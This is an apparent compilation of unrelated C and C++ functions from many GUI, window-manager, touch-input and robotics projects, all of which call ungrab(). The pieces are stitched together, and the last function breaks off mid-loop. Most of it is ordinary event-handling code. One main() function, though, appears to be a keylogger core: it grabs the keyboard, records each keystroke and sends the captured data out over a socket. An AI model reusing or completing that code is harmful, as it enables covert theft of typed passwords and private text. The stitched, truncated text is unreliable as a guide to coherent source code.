void rclick_root(void)
{
XEvent ev;
if (!grab(root, MouseMask, None))
{
return;
}
draw_menubar();
do
{
XMaskEvent(dsply, MouseMask|KeyMask, &ev);
switch (ev.type)
{
case MotionNotify:
if (ev.xmotion.y < BARHEIGHT())
{
ungrab();
rclick_taskbar(ev.xmotion.x);
return;
}
break;
case KeyPress:
XPutBackEvent(dsply, &ev);
break;
}
}
while (ev.type != ButtonRelease && ev.type != KeyPress);
redraw_taskbar();
ungrab();
}
void QQuickMultiPointTouchArea::touchEvent(QTouchEvent *event)
{
switch (event->type()) {
case QEvent::TouchBegin:
case QEvent::TouchUpdate:
case QEvent::TouchEnd: {
//if e.g. a parent Flickable has the mouse grab, don't process the touch events
QQuickWindow *c = window();
QQuickItem *grabber = c ? c->mouseGrabberItem() : 0;
if (grabber && grabber != this && grabber->keepMouseGrab() && grabber->isEnabled()) {
QQuickItem *item = this;
while ((item = item->parentItem())) {
if (item == grabber)
return;
}
}
updateTouchData(event);
if (event->type() == QEvent::TouchEnd)
ungrab();
break;
}
case QEvent::TouchCancel:
ungrab();
break;
default:
QQuickItem::touchEvent(event);
break;
}
}
bool QQuickMultiPointTouchArea::childMouseEventFilter(QQuickItem *receiver, QEvent *event)
{
if (!isEnabled() || !isVisible())
return QQuickItem::childMouseEventFilter(receiver, event);
switch (event->type()) {
case QEvent::MouseButtonPress:
case QEvent::MouseMove:
case QEvent::MouseButtonRelease:
return sendMouseEvent(static_cast<QMouseEvent *>(event));
break;
case QEvent::TouchBegin:
case QEvent::TouchUpdate:
if (!shouldFilter(event))
return false;
updateTouchData(event);
return _stealMouse;
case QEvent::TouchEnd: {
if (!shouldFilter(event))
return false;
updateTouchData(event);
ungrab();
}
break;
default:
break;
}
return QQuickItem::childMouseEventFilter(receiver, event);
}
void MSPulldownMenu::done(void)
{
ungrab();
unmap();
if (item()!=0) item()->menu()->done();
reset();
}
void MSCascadeMenu::done(void)
{
ungrab();
unmap();
if (item()!=0) item()->menu()->done();
reset();
}
void Robot::kickForward(int power) {
ungrab();
moveKickerForward(power);
kicking = true;
unkicking = false;
kickerTimestamp = millis();
}
void
Combobox::on_primary_button_press(int x, int y)
{
if (drop_down)
{
// Determine which item was selected, if any, and set the current item to it.
drop_down = false;
ungrab();
if (hover_item != -1)
{
current_item = hover_item;
on_select(item_list[current_item]);
}
}
else
{
drop_down = true;
grab();
list_rect = Rect(Vector2i(rect.left,
rect.top + get_box_offset()),
Size(rect.get_width(),
rect.get_height() * item_list.size()));
on_pointer_move(x,y);
}
}
int
sweep(Client *c, int but, XButtonEvent *ignored)
{
XEvent ev;
int status;
XButtonEvent *e;
ScreenInfo *s;
s = c->screen;
c->dx = 0;
c->dy = 0;
status = grab(s->root, s->root, ButtonMask, s->sweep0, 0);
if(status != GrabSuccess){
graberror("sweep", status); /* */
return 0;
}
XMaskEvent(dpy, ButtonMask, &ev);
e = &ev.xbutton;
if(e->button != but){
ungrab(e);
return 0;
}
XChangeActivePointerGrab(dpy, ButtonMask, s->boxcurs, e->time);
return sweepdrag(c, but, e, BorderUnknown, sweepcalc);
}
void
GUISUMOAbstractView::openObjectDialog() {
ungrab();
if (!isEnabled() || !myAmInitialised) {
return;
}
if (makeCurrent()) {
// initialise the select mode
unsigned int id = getObjectUnderCursor();
GUIGlObject* o = 0;
if (id != 0) {
o = GUIGlObjectStorage::gIDStorage.getObjectBlocking(id);
} else {
o = GUIGlObjectStorage::gIDStorage.getNetObject();
}
if (o != 0) {
myPopup = o->getPopUpMenu(*myApp, *this);
int x, y;
FXuint b;
myApp->getCursorPosition(x, y, b);
myPopup->setX(x + myApp->getX());
myPopup->setY(y + myApp->getY());
myPopup->create();
myPopup->show();
myChanger->onRightBtnRelease(0);
GUIGlObjectStorage::gIDStorage.unblockObject(id);
}
makeNonCurrent();
}
}
long
GUISUMOAbstractView::onRightBtnRelease(FXObject*, FXSelector , void* data) {
destroyPopup();
if (!myChanger->onRightBtnRelease(data) && !myApp->isGaming()) {
openObjectDialog();
}
ungrab();
return 1;
}
void toggle_grab_cmd(void)
{
PUTS("toggle grab");
if (grabbed) {
ungrab();
} else {
grab();
}
}
Client *
selectwin(int release, int *shift, ScreenInfo *s)
{
XEvent ev;
XButtonEvent *e;
int status;
Window w;
Client *c;
status = grab(s->root, s->root, ButtonMask, s->target, 0);
if(status != GrabSuccess){
graberror("selectwin", status); /* */
return 0;
}
w = None;
for(;;){
XMaskEvent(dpy, ButtonMask, &ev);
e = &ev.xbutton;
switch (ev.type){
case ButtonPress:
if(e->button != Button3){
ungrab(e);
return 0;
}
w = e->subwindow;
if(!release){
c = getclient(w, 0);
if(c == 0)
ungrab(e);
if(shift != 0)
*shift = (e->state&ShiftMask) != 0;
return c;
}
break;
case ButtonRelease:
ungrab(e);
if(e->button != Button3 || e->subwindow != w)
return 0;
if(shift != 0)
*shift = (e->state&ShiftMask) != 0;
return getclient(w, 0);
}
}
}
void reload_cmd(void)
{
PUTS("reload");
cleanup();
load_config(config_file);
for (int i = 0; i < num_extra_confs; i++)
load_config(extra_confs[i]);
ungrab();
grab();
}
long
GUISUMOAbstractView::onLeftBtnRelease(FXObject*, FXSelector , void* data) {
destroyPopup();
myChanger->onLeftBtnRelease(data);
if (myApp->isGaming()) {
onGamingClick(getPositionInformation());
}
ungrab();
return 1;
}
void Robot::kickForward(int power) {
ungrab();
if (KICKERORIENTATION == 0) {
motorForward(KICKERMOTOR, 100);
} else if (KICKERORIENTATION == 1) {
motorBackward(KICKERMOTOR, 100);
}
kicking = true;
kickerTimer = 0;
}
long Viewport::onRightBtnRelease(FXObject* , FXSelector, void* ptr)
{
FXEvent *ev=(FXEvent*)ptr;
RightBtn = false;
checkOperation(ev);
if (!LeftBtn)
ungrab();
return 1;
}
void rclick_taskbar(int x)
{
XEvent ev;
int mousex, mousey;
Rect bounddims;
unsigned int current_item = UINT_MAX;
Window constraint_win;
XSetWindowAttributes pattr;
get_mouse_position(&mousex, &mousey);
bounddims.x = 0;
bounddims.y = 0;
bounddims.width = DisplayWidth(dsply, screen);
bounddims.height = BARHEIGHT();
constraint_win = XCreateWindow(dsply, root, bounddims.x, bounddims.y, bounddims.width, bounddims.height, 0, CopyFromParent, InputOnly, CopyFromParent, 0, &pattr);
XMapWindow(dsply, constraint_win);
if (!(XGrabPointer(dsply, root, False, MouseMask, GrabModeAsync, GrabModeAsync, constraint_win, None, CurrentTime) == GrabSuccess))
{
XDestroyWindow(dsply, constraint_win);
return;
}
draw_menubar();
update_menuitem(INT_MAX); // force initial highlight
current_item = update_menuitem(x);
do
{
XMaskEvent(dsply, MouseMask|KeyMask, &ev);
switch (ev.type)
{
case MotionNotify:
current_item = update_menuitem(ev.xmotion.x);
break;
case ButtonRelease:
if (current_item != UINT_MAX)
{
fork_exec(menuitems[current_item].command);
}
break;
case KeyPress:
XPutBackEvent(dsply, &ev);
break;
}
}
while (ev.type != ButtonPress && ev.type != ButtonRelease && ev.type != KeyPress);
redraw_taskbar();
XUnmapWindow(dsply, constraint_win);
XDestroyWindow(dsply, constraint_win);
ungrab();
}
// Released left button
long TextLabel::onLeftBtnRelease(FXObject*,FXSelector,void* ptr)
{
if (isEnabled())
{
ungrab();
flags&=~FLAG_PRESSED;
if (target && target->tryHandle(this,FXSEL(SEL_LEFTBUTTONRELEASE,message),ptr))
return 1;
return 1;
}
return 0;
}
void abort_chain(void)
{
PUTS("abort chain");
for (hotkey_t *hk = hotkeys_head; hk != NULL; hk = hk->next)
hk->chain->state = hk->chain->head;
chained = false;
locked = false;
if (timeout > 0)
alarm(0);
ungrab();
grab();
}
int main() {
// open needed stuff
int connected = connectSocket();
Display *dpy = XOpenDisplay(NIL);
// my event
XEvent event;
// just in case
if(connected)
sendMissingStuff();
// some stuff for keycode-char conversion
char buf[2];
int len;
KeySym keysym;
grab(dpy);
int i = 0;
while(1) {
// check for internet connection
if(i % CONCHECKINTV == 0 && !connected)
if( (connected = connectSocket()) )
sendMissingStuff();
XNextEvent(dpy, &event);
// convert keycode to character
if( (len = XLookupString(&event.xkey, buf, 1, &keysym, NULL)) == 0 )
buf[0] = '\0';
// forward event to client
sendSpecEvent(dpy, keysym, event);
if(event.type == KeyPress) {
// save key for me
handleChar(connected, buf, keysym);
}
i++;
}
sendStr("\nEnd of transmission\n");
ungrab(dpy);
XCloseDisplay(dpy);
close(sockfd);
return 0;
}
// Left button released
long ShutterBug::onBtnRelease(FXObject*,FXSelector,void* ptr){
FXEvent *event=(FXEvent*)ptr;
ungrab();
flags&=~FLAG_PRESSED;
if(event->moved) return 1;
FXMenuPane filemenu(this);
new FXMenuCaption(&filemenu,"ShutterBug",smallicon);
new FXMenuSeparator(&filemenu);
new FXMenuCommand(&filemenu,tr("Snap..."),NULL,this,ID_SNAPSHOT);
new FXMenuCommand(&filemenu,tr("Snap delayed..."),NULL,this,ID_SNAPSHOT_DELAYED);
new FXMenuCommand(&filemenu,tr("Snap to clipboard..."),NULL,this,ID_SNAPSHOT_CLIPBOARD);
new FXMenuCommand(&filemenu,tr("Record movie..."),NULL,this,ID_RECORD_MOVIE);
new FXMenuCheck(&filemenu,tr("Show lasso"),this,ID_TOGGLE_LASSO);
new FXMenuCheck(&filemenu,tr("Lines inside"),this,ID_INSIDE);
new FXMenuCommand(&filemenu,tr("Color..."),NULL,this,ID_COLOR);
FXMenuPane sizemenu(this);
new FXMenuCascade(&filemenu,tr("Size"),NULL,&sizemenu);
new FXMenuRadio(&sizemenu,"8x8",this,ID_SIZE_8X8);
new FXMenuRadio(&sizemenu,"16x16",this,ID_SIZE_16X16);
new FXMenuRadio(&sizemenu,"24x24",this,ID_SIZE_24X24);
new FXMenuRadio(&sizemenu,"32x32",this,ID_SIZE_32X32);
new FXMenuRadio(&sizemenu,"48x48",this,ID_SIZE_48X48);
new FXMenuRadio(&sizemenu,"64x64",this,ID_SIZE_64X64);
new FXMenuRadio(&sizemenu,"128x128",this,ID_SIZE_128X128);
new FXMenuRadio(&sizemenu,"256x256",this,ID_SIZE_256X256);
new FXMenuRadio(&sizemenu,"512x512",this,ID_SIZE_512X512);
new FXMenuRadio(&sizemenu,tr("Screen"),this,ID_SIZE_SCREEN);
new FXMenuRadio(&sizemenu,tr("Custom"),this,ID_SIZE_CUSTOM);
FXMenuPane weightmenu(this);
new FXMenuCascade(&filemenu,tr("Weight"),NULL,&weightmenu);
new FXMenuCommand(&weightmenu,FXString::null,weighticons[0],this,ID_WEIGHT_1);
new FXMenuCommand(&weightmenu,FXString::null,weighticons[1],this,ID_WEIGHT_2);
new FXMenuCommand(&weightmenu,FXString::null,weighticons[2],this,ID_WEIGHT_3);
new FXMenuCommand(&weightmenu,FXString::null,weighticons[3],this,ID_WEIGHT_4);
new FXMenuCommand(&weightmenu,FXString::null,weighticons[4],this,ID_WEIGHT_5);
new FXMenuCommand(&weightmenu,FXString::null,weighticons[5],this,ID_WEIGHT_6);
FXMenuPane optionsmenu(this);
new FXMenuCascade(&filemenu,tr("Options"),NULL,&optionsmenu);
new FXMenuCommand(&optionsmenu,tr("Delay..."),NULL,this,ID_DELAY);
new FXMenuCommand(&optionsmenu,tr("Set number..."),NULL,this,ID_SET_COUNT);
new FXMenuCommand(&optionsmenu,tr("Reset number..."),NULL,this,ID_RESET_COUNT);
new FXMenuCommand(&optionsmenu,tr("Record Rate..."),NULL,this,ID_RECORD_RATE);
new FXMenuCheck(&optionsmenu,tr("Fast quantization"),this,ID_QUANTIZE);
new FXMenuCommand(&filemenu,tr("About..."),NULL,this,ID_ABOUT);
new FXMenuCommand(&filemenu,tr("Quit"),NULL,this,ID_QUIT);
filemenu.create();
filemenu.popup(NULL,event->root_x,event->root_y);
getApp()->runModalWhileShown(&filemenu);
return 1;
}
bool KeyActionSettingsWidget::x11Event(XEvent *event)
{
if(grabbing_)
{
if(event->type == KeyPress)
{
key = FakeInput::Key(event);
}
else if(event->type == KeyRelease && grabbing_)
{
ungrab();
}
}
return false;
}
Boolean MCPlayer::mup(uint2 which, bool p_release) //mouse up
{
if (!(state & CS_MFOCUSED))
return False;
if (state & CS_MENU_ATTACHED)
return MCObject::mup(which, p_release);
state &= ~CS_MFOCUSED;
if (state & CS_GRAB)
{
ungrab(which);
return True;
}
switch (which)
{
case Button1:
switch (getstack()->gettool(this))
{
case T_BROWSE:
if (!p_release && MCU_point_in_rect(rect, mx, my))
message_with_valueref_args(MCM_mouse_up, MCSTR("1"));
else
message_with_valueref_args(MCM_mouse_release, MCSTR("1"));
break;
case T_PLAYER:
case T_POINTER:
end(true, p_release); //stop dragging or moving the movie object, will change controller size
break;
case T_HELP:
help();
break;
default:
return False;
}
break;
case Button2:
case Button3:
if (!p_release && MCU_point_in_rect(rect, mx, my))
message_with_args(MCM_mouse_up, which);
else
message_with_args(MCM_mouse_release, which);
break;
}
return True;
}
long AlphaBallControl::onLeftBtnRelease(FXObject*,FXSelector,void* ptr){
FXuint flgs=flags;
float* valphap = new float[1];
int vmax;
if(isEnabled()){
ungrab();
flags|=FLAG_UPDATE;
flags&=~FLAG_PRESSED;
flags&=~FLAG_CHANGED;
if(target && target->handle(this,MKUINT(message,SEL_LEFTBUTTONRELEASE),ptr)) return 1;
if(flgs&FLAG_CHANGED){
getMaxBound(vmax,spotx,spoty);
valphap[0]=vmax;
if(target) target->handle(this,MKUINT(message,SEL_COMMAND),(void*)valphap);
delete valphap;
}
return 1;
}
return 1;
}
bool QQuickMultiPointTouchArea::shouldFilter(QEvent *event)
{
QQuickWindow *c = window();
QQuickItem *grabber = c ? c->mouseGrabberItem() : 0;
bool disabledItem = grabber && !grabber->isEnabled();
bool stealThisEvent = _stealMouse;
bool containsPoint = false;
if (!stealThisEvent) {
switch (event->type()) {
case QEvent::MouseButtonPress:
case QEvent::MouseMove:
case QEvent::MouseButtonRelease: {
QMouseEvent *me = static_cast<QMouseEvent*>(event);
containsPoint = contains(mapFromScene(me->windowPos()));
}
break;
case QEvent::TouchBegin:
case QEvent::TouchUpdate:
case QEvent::TouchEnd: {
QTouchEvent *te = static_cast<QTouchEvent*>(event);
for (const QTouchEvent::TouchPoint &point : te->touchPoints()) {
if (contains(mapFromScene(point.scenePos()))) {
containsPoint = true;
break;
}
}
}
break;
default:
break;
}
}
if ((stealThisEvent || containsPoint) && (!grabber || !grabber->keepMouseGrab() || disabledItem)) {
return true;
}
ungrab();
return false;
}
// Released button
long MFXAddEditTypedTable::onLeftBtnRelease(FXObject*, FXSelector, void* ptr) {
FXEvent* event = (FXEvent*)ptr;
if (isEnabled()) {
ungrab();
flags &= ~FLAG_PRESSED;
flags |= FLAG_UPDATE;
mode = MOUSE_NONE;
stopAutoScroll();
setDragCursor(getApp()->getDefaultCursor(DEF_ARROW_CURSOR));
if (target && target->tryHandle(this, FXSEL(SEL_LEFTBUTTONRELEASE, message), ptr)) {
return 1;
}
// Scroll to make item visibke
makePositionVisible(current.row, current.col);
// Update anchor
//setAnchorItem(current.row,current.col); // FIXME look into the selection stuff
// Generate clicked callbacks
if (event->click_count == 1) {
handle(this, FXSEL(SEL_CLICKED, 0), (void*)¤t);
} else if (event->click_count == 2) {
handle(this, FXSEL(SEL_DOUBLECLICKED, 0), (void*)¤t);
} else if (event->click_count == 3) {
handle(this, FXSEL(SEL_TRIPLECLICKED, 0), (void*)¤t);
}
// Command callback only when clicked on item
if (0 <= current.row && 0 <= current.col && isItemEnabled(current.row, current.col)) {
handle(this, FXSEL(SEL_COMMAND, 0), (void*)¤t);
}
return 1;
}
return 0;
}
/** Event handler to fire (higher level, abstracted) Item signals from Gtk events.
*/
bool
Item::on_event(GdkEvent* event)
{
boost::shared_ptr<Canvas> canvas = _canvas.lock();
if (!canvas || !event)
return false;
static double x, y;
static double drag_start_x, drag_start_y;
static bool double_click = false;
static bool dragging = false;
double click_x, click_y;
click_x = event->button.x;
click_y = event->button.y;
property_parent().get_value()->w2i(click_x, click_y);
switch (event->type) {
case GDK_2BUTTON_PRESS:
if (dragging) {
ungrab(event->button.time);
dragging = false;
}
on_double_click(&event->button);
double_click = true;
break;
case GDK_BUTTON_PRESS:
if (!canvas->locked() && event->button.button == 1) {
x = click_x;
y = click_y;
// Set these so we can tell on a button release if a drag actually
// happened (if not, it's just a click)
drag_start_x = x;
drag_start_y = y;
grab(GDK_POINTER_MOTION_MASK|GDK_BUTTON_RELEASE_MASK|GDK_BUTTON_PRESS_MASK,
Gdk::Cursor(Gdk::FLEUR), event->button.time);
dragging = true;
}
break;
case GDK_MOTION_NOTIFY:
if ((dragging && (event->motion.state & GDK_BUTTON1_MASK))) {
double new_x = click_x;
double new_y = click_y;
if (event->motion.is_hint) {
int t_x;
int t_y;
GdkModifierType state;
gdk_window_get_pointer(event->motion.window, &t_x, &t_y, &state);
new_x = t_x;
new_y = t_y;
}
on_drag(new_x - x, new_y - y);
x = new_x;
y = new_y;
}
break;
case GDK_BUTTON_RELEASE:
if (dragging) {
ungrab(event->button.time);
dragging = false;
if (click_x != drag_start_x || click_y != drag_start_y) {
on_drop();
} else if (!double_click) {
on_click(&event->button);
}
} else if (!double_click) {
on_click(&event->button);
}
double_click = false;
break;
case GDK_ENTER_NOTIFY:
canvas->signal_item_entered.emit(this);
raise_to_top();
break;
case GDK_LEAVE_NOTIFY:
canvas->signal_item_left.emit(this);
break;
default:
break;
}
// Never stop event propagation so derived classes have full access
// to GTK events.
return false;
}
/* Main function, contains kernel driver event loop */
int main(int argc, char **argv) {
char* devname = 0;
int doDaemonize = 1;
int doWait = 0;
int clickMode = 2;
int i;
for (i = 1; i < argc; i++) {
if (strcmp(argv[i], "--debug") == 0) {
doDaemonize = 0;
debugMode = 1;
} else if (strcmp(argv[i], "--wait") == 0) {
doWait = 1;
} else if (strcmp(argv[i], "--click=first") == 0) {
clickMode = 0;
} else if (strcmp(argv[i], "--click=second") == 0) {
clickMode = 1;
} else if (strcmp(argv[i], "--click=center") == 0) {
clickMode = 2;
} else {
devname = argv[i];
}
}
initGestures(clickMode);
if (doDaemonize) {
daemonize();
}
if (doWait) {
/* Wait until all necessary things are loaded */
sleep(10);
}
/* Connect to X server */
if ((display = XOpenDisplay(NULL)) == NULL) {
fprintf(stderr, "Couldn't connect to X server\n");
exit(1);
}
/* Read X data */
screenNum = DefaultScreen(display);
root = RootWindow(display, screenNum);
// realDisplayWidth = DisplayWidth(display, screenNum);
// realDisplayHeight = DisplayHeight(display, screenNum);
WM_CLASS = XInternAtom(display, "WM_CLASS", 0);
/* Get notified about new windows */
XSelectInput(display, root, StructureNotifyMask | SubstructureNotifyMask);
//TODO load blacklist and profiles from file(s)
/* Device file name */
if (devname == 0) {
devname = "/dev/twofingtouch";
}
/* Try to read from device file */
int fileDesc;
if ((fileDesc = open(devname, O_RDONLY)) < 0) {
perror("twofing");
return 1;
}
fd_set fileDescSet;
FD_ZERO(&fileDescSet);
int eventQueueDesc = XConnectionNumber(display);
while (1) {
/* Perform initialization at beginning and after module has been re-loaded */
int rd, i;
struct input_event ev[64];
char name[256] = "Unknown";
/* Read device name */
ioctl(fileDesc, EVIOCGNAME(sizeof(name)), name);
printf("Input device name: \"%s\"\n", name);
//TODO activate again?
//XSetErrorHandler(invalidWindowHandler);
int opcode, event, error;
if (!XQueryExtension(display, "RANDR", &opcode, &event,
&error)) {
printf("X RANDR extension not available.\n");
XCloseDisplay(display);
exit(1);
}
/* Which version of XRandR? We support 1.3 */
int major = 1, minor = 3;
if (!XRRQueryVersion(display, &major, &minor)) {
printf("XRandR version not available.\n");
XCloseDisplay(display);
exit(1);
} else if(!(major>1 || (major == 1 && minor >= 3))) {
printf("XRandR 1.3 not available. Server supports %d.%d\n", major, minor);
XCloseDisplay(display);
exit(1);
}
/* XInput Extension available? */
if (!XQueryExtension(display, "XInputExtension", &opcode, &event,
&error)) {
printf("X Input extension not available.\n");
XCloseDisplay(display);
exit(1);
}
/* Which version of XI2? We support 2.1 */
major = 2; minor = 1;
if (XIQueryVersion(display, &major, &minor) == BadRequest) {
printf("XI 2.1 not available. Server supports %d.%d\n", major, minor);
XCloseDisplay(display);
exit(1);
}
screenWidth = XDisplayWidth(display, screenNum);
screenHeight = XDisplayHeight(display, screenNum);
int n;
XIDeviceInfo *info = XIQueryDevice(display, XIAllDevices, &n);
if (!info) {
printf("No XInput devices available\n");
exit(1);
}
/* Go through input devices and look for that with the same name as the given device */
int devindex;
for (devindex = 0; devindex < n; devindex++) {
if (info[devindex].use == XIMasterPointer || info[devindex].use
== XIMasterKeyboard)
continue;
if (strcmp(info[devindex].name, name) == 0) {
deviceID = info[devindex].deviceid;
break;
}
}
if (deviceID == -1) {
printf("Input device not found in XInput device list.\n");
exit(1);
}
XIFreeDeviceInfo(info);
if(debugMode) printf("XInput device id is %i.\n", deviceID);
/* Prepare by reading calibration */
readCalibrationData(1);
/* Receive device property change events */
XIEventMask device_mask2;
unsigned char mask_data2[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
device_mask2.deviceid = deviceID;
device_mask2.mask_len = sizeof(mask_data2);
device_mask2.mask = mask_data2;
XISetMask(device_mask2.mask, XI_PropertyEvent);
XISetMask(device_mask2.mask, XI_ButtonPress);
//XISetMask(device_mask2.mask, XI_TouchBegin);
//XISetMask(device_mask2.mask, XI_TouchUpdate);
//XISetMask(device_mask2.mask, XI_TouchEnd);
XISelectEvents(display, root, &device_mask2, 1);
/* Recieve events when screen size changes */
XRRSelectInput(display, root, RRScreenChangeNotifyMask);
/* Receive touch events */
/* Needed for XTest to work correctly */
XTestGrabControl(display, True);
/* Needed for some reason to receive events */
/* XGrabPointer(display, root, False, 0, GrabModeAsync, GrabModeAsync,
None, None, CurrentTime);
XUngrabPointer(display, CurrentTime);*/
grab(display, deviceID);
printf("Reading input from device ... (interrupt to exit)\n");
/* We perform raw event reading here as X touch events don't seem too reliable */
int currentSlot = 0;
/* If we use the legacy protocol, we collect all data of one finger into tempFingerInfo and set
it to the correct slot once MT_SYNC occurs. */
FingerInfo tempFingerInfo = { .rawX=0, .rawY=0, .rawZ=0, .id = -1, .slotUsed = 0, .setThisTime = 0 };
while (1) {
FD_SET(fileDesc, &fileDescSet);
FD_SET(eventQueueDesc, &fileDescSet);
select(MAX(fileDesc, eventQueueDesc) + 1, &fileDescSet, NULL, NULL, getEasingStepTimeVal());
checkEasingStep();
if(FD_ISSET(fileDesc, &fileDescSet))
{
rd = read(fileDesc, ev, sizeof(struct input_event) * 64);
if (rd < (int) sizeof(struct input_event)) {
printf("Data stream stopped\n");
break;
}
for (i = 0; i < rd / sizeof(struct input_event); i++) {
if (ev[i].type == EV_SYN) {
if (0 == ev[i].code) { // Ev_Sync event end
/* All finger data received, so process now. */
if(useLegacyProtocol) {
/* Clear slots not set this time */
int i;
for(i = 0; i < 2; i++) {
if(fingerInfos[i].setThisTime) {
fingerInfos[i].setThisTime = 0;
} else {
/* Clear slot */
fingerInfos[i].slotUsed = 0;
}
}
tempFingerInfo.slotUsed = 0;
}
processFingers();
} else if (2 == ev[i].code) { // MT_Sync : Multitouch event end
if(!useLegacyProtocol) {
/* This messsage indicates we use legacy protocol, so switch */
useLegacyProtocol = 1;
currentSlot = -1;
tempFingerInfo.slotUsed = 0;
if(debugMode) printf("Switch to legacy protocol.\n");
} else {
if(tempFingerInfo.slotUsed) {
/* Finger info for one finger collected in tempFingerInfo, so save it to fingerInfos. */
/* Look for slot to put the data into by looking at the tracking ids */
int index = -1;
int i;
for(i = 0; i < 2; i++) {
if(fingerInfos[i].slotUsed && fingerInfos[i].id == tempFingerInfo.id) {
index = i;
break;
}
}
if(index == -1) {
for(i = 0; i < 2; i++) {
if(!fingerInfos[i].slotUsed) {
/* "Empty" slot, so we can add it. */
index = i;
fingerInfos[i].id = tempFingerInfo.id;
fingerInfos[i].slotUsed = 1;
break;
}
}
}
if(index != -1) {
/* Copy temporary data to slot */
fingerInfos[index].setThisTime = 1;
fingerInfos[index].rawX = tempFingerInfo.rawX;
fingerInfos[index].rawY = tempFingerInfo.rawY;
fingerInfos[index].rawZ = tempFingerInfo.rawZ;
}
}
}
}
} else if (ev[i].type == EV_MSC && (ev[i].code == MSC_RAW
|| ev[i].code == MSC_SCAN)) {
} else if (ev[i].code == 47) {
currentSlot = ev[i].value;
if(currentSlot < 0 || currentSlot > 1) currentSlot = -1;
} else {
/* Set finger info values for current finger */
if (ev[i].code == 57) {
/* ABS_MT_TRACKING_ID */
if(currentSlot != -1) {
if(ev[i].value == -1)
{
fingerInfos[currentSlot].slotUsed = 0;
}
else
{
fingerInfos[currentSlot].id = ev[i].value;
fingerInfos[currentSlot].slotUsed = 1;
}
} else if(useLegacyProtocol) {
tempFingerInfo.id = ev[i].value;
tempFingerInfo.slotUsed = 1;
}
};
if (ev[i].code == 53) {
if(currentSlot != -1) {
fingerInfos[currentSlot].rawX = ev[i].value;
} else if(useLegacyProtocol) {
tempFingerInfo.rawX = ev[i].value;
}
};
if (ev[i].code == 54) {
if(currentSlot != -1) {
fingerInfos[currentSlot].rawY = ev[i].value;
} else if(useLegacyProtocol) {
tempFingerInfo.rawY = ev[i].value;
}
};
if (ev[i].code == 58) {
if(currentSlot != -1) {
fingerInfos[currentSlot].rawZ = ev[i].value;
} else if(useLegacyProtocol) {
tempFingerInfo.rawZ = ev[i].value;
}
};
}
}
}
if(FD_ISSET(eventQueueDesc, &fileDescSet)) {
handleXEvent();
}
}
/* Stream stopped, probably because module has been unloaded */
close(fileDesc);
/* Clean up */
releaseButton();
ungrab(display, deviceID);
/* Wait until device file is there again */
while ((fileDesc = open(devname, O_RDONLY)) < 0) {
sleep(1);
}
}
}
void QQuickMultiPointTouchArea::touchUngrabEvent()
{
ungrab();
}
int main(int argc, char *argv[])
{
char opt;
char *fifo_path = NULL;
char *socket_path = NULL;
status_fifo = NULL;
config_path = NULL;
mapping_count = 0;
timeout = TIMEOUT;
grabbed = false;
sock_address.sun_family = AF_UNIX;
sock_address.sun_path[0] = 0;
snprintf(motion_msg_tpl, sizeof(motion_msg_tpl), "%s", MOTION_MSG_TPL);
unsigned int max_freq = 0;
motion_interval = 0;
last_motion_time = 0;
redir_fd = -1;
while ((opt = getopt(argc, argv, "vhm:t:c:r:s:f:o:g:")) != (char)-1) {
switch (opt) {
case 'v':
printf("%s\n", VERSION);
exit(EXIT_SUCCESS);
break;
case 'h':
printf("sxhkd [-h|-v|-m COUNT|-t TIMEOUT|-c CONFIG_FILE|-r REDIR_FILE|-s STATUS_FIFO|-o MOTION_SOCKET|-g MOTION_MSG_TPL] [EXTRA_CONFIG ...]\n");
exit(EXIT_SUCCESS);
break;
case 'm':
if (sscanf(optarg, "%i", &mapping_count) != 1)
warn("Can't parse mapping count.\n");
break;
case 't':
timeout = atoi(optarg);
break;
case 'c':
config_path = optarg;
break;
case 'r':
redir_fd = open(optarg, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (redir_fd == -1)
warn("Failed to open the command redirection file.\n");
break;
case 's':
fifo_path = optarg;
break;
case 'o':
socket_path = optarg;
break;
case 'g':
snprintf(motion_msg_tpl, sizeof(motion_msg_tpl), "%s", optarg);
break;
case 'f':
if (sscanf(optarg, "%u", &max_freq) != 1)
warn("Can't parse maximum pointer frequency.\n");
break;
}
}
num_extra_confs = argc - optind;
extra_confs = argv + optind;
if (config_path == NULL) {
char *config_home = getenv(CONFIG_HOME_ENV);
if (config_home != NULL)
snprintf(config_file, sizeof(config_file), "%s/%s", config_home, CONFIG_PATH);
else
snprintf(config_file, sizeof(config_file), "%s/%s/%s", getenv("HOME"), ".config", CONFIG_PATH);
} else {
snprintf(config_file, sizeof(config_file), "%s", config_path);
}
if (socket_path == NULL) {
socket_path = getenv(SOCKET_ENV);
}
if (socket_path == NULL) {
char *host = NULL;
int dn = 0, sn = 0;
if (xcb_parse_display(NULL, &host, &dn, &sn) != 0) {
snprintf(sock_address.sun_path, sizeof(sock_address.sun_path), SOCKET_PATH_TPL, host, dn, sn);
} else {
warn("Failed to set motion socket address.");
}
free(host);
} else {
snprintf(sock_address.sun_path, sizeof(sock_address.sun_path), "%s", socket_path);
}
if (fifo_path != NULL) {
int fifo_fd = open(fifo_path, O_RDWR | O_NONBLOCK);
if (fifo_fd != -1)
status_fifo = fdopen(fifo_fd, "w");
else
warn("Couldn't open status fifo.\n");
}
if (max_freq != 0)
motion_interval = 1000.0 / max_freq;
signal(SIGINT, hold);
signal(SIGHUP, hold);
signal(SIGTERM, hold);
signal(SIGUSR1, hold);
signal(SIGUSR2, hold);
signal(SIGALRM, hold);
setup();
get_standard_keysyms();
get_lock_fields();
escape_chord = make_chord(ESCAPE_KEYSYM, XCB_NONE, 0, XCB_KEY_PRESS, false, false);
load_config(config_file);
for (int i = 0; i < num_extra_confs; i++)
load_config(extra_confs[i]);
grab();
xcb_generic_event_t *evt;
int fd = xcb_get_file_descriptor(dpy);
fd_set descriptors;
reload = toggle_grab = bell = chained = locked = false;
running = true;
xcb_flush(dpy);
while (running) {
FD_ZERO(&descriptors);
FD_SET(fd, &descriptors);
if (select(fd + 1, &descriptors, NULL, NULL, NULL) > 0) {
while ((evt = xcb_poll_for_event(dpy)) != NULL) {
uint8_t event_type = XCB_EVENT_RESPONSE_TYPE(evt);
switch (event_type) {
case XCB_KEY_PRESS:
case XCB_KEY_RELEASE:
case XCB_BUTTON_PRESS:
case XCB_BUTTON_RELEASE:
key_button_event(evt, event_type);
break;
case XCB_MOTION_NOTIFY:
motion_notify(evt);
break;
case XCB_MAPPING_NOTIFY:
mapping_notify(evt);
break;
default:
PRINTF("received event %u\n", event_type);
break;
}
free(evt);
}
}
if (reload) {
signal(SIGUSR1, hold);
reload_cmd();
reload = false;
}
if (toggle_grab) {
signal(SIGUSR2, hold);
toggle_grab_cmd();
toggle_grab = false;
}
